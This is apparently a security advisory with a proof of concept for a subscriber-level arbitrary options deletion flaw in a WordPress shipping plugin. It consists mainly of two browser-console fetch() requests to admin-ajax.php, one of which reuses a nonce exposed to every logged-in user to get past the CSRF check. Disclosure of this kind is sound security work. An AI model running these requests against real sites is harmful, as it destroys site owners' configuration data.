WooCommerce Shipping - DPD baltic < 1.2.57 - Subscriber+ Arbitrary Options Deletion

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as any user to delete the blog options with ID 4 (usually the blogdescription):

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=delete_warehouse&option_id=4'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Note: In 1.2.11, a CSRF check was added but the nonce is available to any authenticated user via the admin_ajax_nonce JS variable in the backend (below command to be ran when logged in as a subscriber, from the Profile page, ie /wp-admin/profile.php):

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=delete_warehouse&option_id=4&admin_ajax_nonce=' + wc_dpd_baltic['admin_ajax_nonce']
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
